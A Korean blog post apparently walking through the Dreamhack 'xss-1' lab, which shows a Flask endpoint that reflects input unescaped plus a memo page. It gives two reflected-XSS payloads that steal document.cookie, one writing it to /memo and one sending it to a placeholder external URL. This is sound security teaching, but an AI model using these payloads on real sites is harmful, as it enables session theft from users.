1.xss-1 문제
/flag에서 URL 을 전달하여 다른 사용자가 접속하게 만들어서
/memo 엔드포인트에 쿠키값을 남기게 하는게 목표이다.
1-1.vuln 엔드포인트
사용자가 입력한 param 값을 그대로 반환하는 엔드포인트
취약점을 제공하는 부분이다.
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
1-1.memo 엔드포인트
memo 엔드포인트는 쿼리 파라미터로 memo값을 받은 뒤에 이거를 렌더링할때 보내서 작성시켜준다.
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
memo.html은 받아온 memo를 작성한다.
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
{{ super() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<pre>{{ memo }}</pre>
{% endblock %}
1-2. 해결법
vuln는 다음처럼 param 을 그대로 반환한다.
때문에 script 태그로 넣게되면 script가 실행되게된다.
이제 param에 현재URL + /memo?memo= 현재브라우저의쿠기
를 통해 memo 엔드포인트로 쿠키를 작성하게 만든다.
<script>location.href = "/memo?memo=" + document.cookie;</script>
1-3. 해결법2
내가 미리 준비한 URL에 요청 보내기 방법으로 쿠키를 얻어온다.
<script>location.href = "내URL/?memo=" + document.cookie;</script>
반응형
'Computer Science > Security' 카테고리의 다른 글
[드림핵] xss-2 (0) | 2025.01.20 |
---|---|
[보안] 쿠키,세션 위변조(Tampering) (0) | 2025.01.18 |
[보안] Same Origin Policy (SOP) (0) | 2025.01.18 |